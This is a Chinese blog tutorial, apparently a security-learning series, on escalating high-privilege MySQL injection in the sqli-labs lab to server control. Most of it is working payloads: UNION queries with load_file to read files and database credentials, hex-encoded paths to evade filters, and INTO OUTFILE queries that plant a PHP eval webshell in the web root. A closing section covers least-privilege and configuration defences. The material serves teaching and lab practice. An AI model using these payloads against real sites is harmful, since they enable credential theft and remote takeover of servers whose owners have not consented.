5.SQL 注入之高权限注入(下):文件读写 + 写 Shell,从数据库权限到服务器控制权

这是高权限注入系列的最后一篇:文件读写注入 。当我们拿到 MySQL 的root 权限 后,除了跨库偷数据,最核心的攻击手段就是利用数据库的文件读写权限,读取服务器敏感配置写入 Webshell 拿服务器权限

这篇博客结合 sqli-labs 靶场实操,从原理、条件、读取 / 写入函数到最终写 Shell 拿服务器,完整复盘每一个细节,既是自己的学习总结,也给入门的小伙伴一份可直接复刻的实战指南。


一、核心原理:高权限注入的终极形态 ------ 文件读写

🗣️ 大白话解释

普通注入只是 "偷数据",而高权限文件读写注入是直接 "拿服务器的钥匙":

  • 读取文件:利用 root 权限,读取服务器上的敏感配置文件(比如数据库密码、网站配置、Linux 系统配置);
  • 写入文件 :利用 root 权限,向 Web 目录写入一句话木马 ,攻击者通过木马就能直接控制服务器,实现从 "数据库权限" 到 "服务器权限" 的跨越。

🔑 核心前提(缺一不可)

高权限文件读写注入不是想做就能做,必须满足两个硬性条件:

  1. 拥有 root 等高权限 :拥有FILE权限,且secure_file_priv配置未限制读写;
  2. 知道网站绝对路径:明确要读取 / 写入的文件在服务器的具体位置。

二、关键配置:secure_file_priv(文件读写的 "通行证")

MySQL 高版本(5.7+)新增了secure_file_priv全局变量,严格限制文件读写的权限,这是文件读写注入的核心开关。

2.1 查看secure_file_priv状态

复制代码
show global variables like '%secure%';
三种配置状态(对应图片内容)
配置值 含义 能否文件读写
secure_file_priv=(空) 无限制,可读写任意路径 ✅ 可以(root 权限下)
secure_file_priv=NULL 禁止所有文件读写 ❌ 不行
secure_file_priv=指定路径 仅允许读写该路径下的文件 ❌ 只能在指定路径读写
实操验证

在 MySQL 命令行执行上述语句,会看到:

  • secure_file_priv为空 → 无限制,可进行任意路径读写;
  • secure_file_priv=具体路径 → 限制读写范围。

三、靶场实操:root 权限下的文件读取

我们继续用 sqli-labs Less-2(root 权限注入),演示读取任意文件的全流程。

3.1 读取普通文件(读取服务器本地文件)

核心函数:load_file('文件路径')

作用:读取服务器上的文件内容,通过union回显到页面。

实操步骤(对应图片)
步骤 1:读取普通文本文件(D:/d.txt
  • 路径注意:Windows 用正斜杠/,反斜杠\是转义符,必须转义为\\

  • 构造注入语句(URL 编码):

    复制代码
    id=-1%20union%20select%201,load_file('D:/d.txt'),3
  • 页面回显:成功读取d.txt内容(如图片中显示的11111)。

步骤 2:16 进制绕过路径过滤1

如果路径中的特殊字符被过滤,可将路径转 16 进制:

  • 路径d:/d.txt → 16 进制0x643a2f642e747874

  • 构造语句:

    复制代码
    id=-1%20union%20select%201,load_file(0x643a2f642e747874),3
  • 页面成功回显文件内容(111111),完美绕过单引号 / 特殊字符过滤。

3.2 读取敏感配置文件(读取网站核心密码)

核心目标:读取网站的数据库配置文件,获取账号密码(如db-creds.inc
步骤 1:获取网站绝对路径

常见环境的绝对路径(对应图片):

系统 集成环境 网站根目录路径
Windows phpstudy phpstudy/www
Windows xampp xampp/htdocs
Windows wamp wamp/www
Linux 通用 /var/www/html
步骤 2:读取敏感配置文件

以 phpstudy 为例,读取db-creds.inc(数据库账号密码文件):

  • 构造语句:

    复制代码
    id=-1%20union%20select%201,load_file('D:/phpstudy_pro/WWW/sqli-labs-master/sql-connections/db-creds.inc'),3
  • 页面回显:直接拿到 root 账号密码($dbuser='root'; $dbpass='root';),完成敏感信息窃取。

3.3 路径获取的常见方式

如果不知道网站路径,可通过以下方式获取:

  1. 报错泄露:故意输入错误参数,让页面报错,泄露绝对路径;
  2. 遗留文件 :扫描网站目录下的遗留文件(如phpinfo.php),获取路径;
  3. 平台配置:通过搜索引擎 / 公开漏洞报告,获取常见集成环境的默认路径。

例如


四、靶场实操:root 权限下的文件写入

拿到 root 权限且secure_file_priv无限制后,可向服务器写入文件,写入一句话木马是最终目标(拿服务器权限)。

4.1 写入文件的核心函数

函数 特点 适用场景
into outfile 支持多行写入,按格式输出 写入一句话木马、多行文本
into dumpfile 仅支持单行写入,无格式 写入二进制文件(如图片)
关键限制
  • into outfile的路径必须是单引号路径,不能用 16 进制 /char 转换;
  • 写入路径必须满足secure_file_priv限制。

4.2 写入一句话木马(终极操作,拿服务器权限)

核心思路

向 Web 目录写入PHP 一句话木马,攻击者通过访问木马文件,即可远程控制服务器。

实操步骤
步骤 1:构造一句话木马
复制代码
<?php eval($_POST['cmd']);?>
步骤 2:写入文件(Web 目录)

以 phpstudy 为例,写入D:/d.txt(临时测试):

  • 构造语句:

    复制代码
    id=-1%20union%20select%201,'<?php eval($_POST["cmd"]);?>',3%20into%20outfile%20'D:/d.txt'
  • 页面执行成功,d.txt被写入木马代码。

步骤 3:写入 Web 目录(实战)

写入网站 Web 根目录的shell.php

  • 构造语句:

    复制代码
    id=-1%20union%20select%201,'<?php eval($_POST["cmd"]);?>',3%20into%20outfile%20'D:/phpstudy_pro/WWW/shell.php'
  • 访问http://localhost/sqli-labs-master/shell.php,通过 POST 参数cmd执行系统命令,成功拿到服务器权限

或者写入几句数字和字符串到目标文件:

注意: MySQL 语法要求:LIMIT 必须放在 INTO OUTFILE 之前。 这里直接删除

复制代码
id=-1 union select 1,'mc',3 into outfile 'D:/d.txt'

写入成功


五、知识点归纳与避坑(核心易错点)

5.1 路径易错点(必看!)

  • Windows 路径 :必须用/\是转义符,错误写法\d:\d.txt,正确写法d:/d.txtd:\\d.txt
  • Linux 路径 :直接用/,如/var/www/html/conf.php

5.2 函数使用区别

操作 推荐函数 路径要求
读取文件 load_file() 支持 16 进制 / 单引号
写入木马 into outfile 必须单引号路径
写入二进制 into dumpfile 单行,无格式

5.3 高权限注入危害总结

操作 危害
读取文件 窃取数据库密码、网站配置、系统敏感文件
写入木马 远程控制服务器,执行系统命令、上传下载文件
跨库注入 窃取同服务器所有网站数据

六、企业级防御方案(彻底杜绝高权限注入)

6.1 核心防御:最小权限原则

  • 绝对禁止 Web 应用使用 root 账号连接 MySQL;
  • 给每个 Web 应用创建专用低权限账号 ,仅授予SELECT/INSERT/UPDATE/DELETE权限,不给 FILE 权限

6.2 配置加固

  • 严格设置secure_file_priv

    ini

    复制代码
    secure_file_priv=NULL  # 禁止文件读写
    # 或指定安全路径
    secure_file_priv=/var/mysql/data/
  • 隐藏错误信息,避免泄露网站绝对路径。

6.3 代码层面

  • 使用参数化查询(PDO/MySQLi),杜绝 SQL 拼接;
  • 过滤用户输入中的特殊字符(union/load_file/into等)。

6.4 服务器层面

  • 严格限制 Web 目录的写入权限,禁止 Web 目录执行脚本;
  • 定期审计mysql.user表,删除高危权限用户。

七、学习复盘(写给自己,也给入门的你)

这是高权限注入系列的最后一篇,至此我们完整掌握了 SQL 注入的全流程:

  1. 普通注入:判断注入→猜列数→回显位→脱库(偷当前网站数据);
  2. 高权限跨库注入:root 权限→枚举所有库→跨库脱库(偷同服务器所有网站数据);
  3. 高权限文件读写注入:读取敏感文件→写入 Webshell(从数据库权限到服务器权限)。

高权限注入的核心是权限 :root 权限是 MySQL 的最高权限,拥有它就等于拥有了整个数据库服务器的控制权。而防御的核心,就是最小权限原则------ 不给 Web 应用 root 权限,不给 FILE 权限,从根源上杜绝文件读写注入。

相关推荐
Sombra_Olivia2 小时前
Vulhub 中的 bash CVE-2014-6271
安全·web安全·网络安全·渗透测试·vulhub
zjeweler2 小时前
web安全-waf+免杀
安全·web安全
CHICX12292 小时前
6.SQL 注入之基础防御:从魔术引号到类型校验,彻底封堵注入漏洞
web安全·网络安全
路baby2 小时前
Pikachu安装过程中常见问题(apache和MySQL无法正常启动)
计算机网络·mysql·网络安全·adb·靶场·apache·pikachu
以太浮标2 小时前
华为eNSP模拟器综合实验之- 华为USG6000V防火墙配置防御DoS攻击实战案例解析
运维·网络协议·网络安全·华为·信息与通信
网络安全许木2 小时前
自学渗透测试第八天(网络安全法、伦理规范与工具链联动)
windows·web安全·网络安全·渗透测试·kali linux
pencek2 小时前
HakcMyVM-Animetronic
网络安全
智擎软件测评小祺2 小时前
从报告看懂安全隐患,提升防护能力
安全·web安全·渗透测试·测试·检测·cma·cnas
CHICX122917 小时前
2.MySQL 手工注入:从原理到 sqli-labs 实战
web安全·网络安全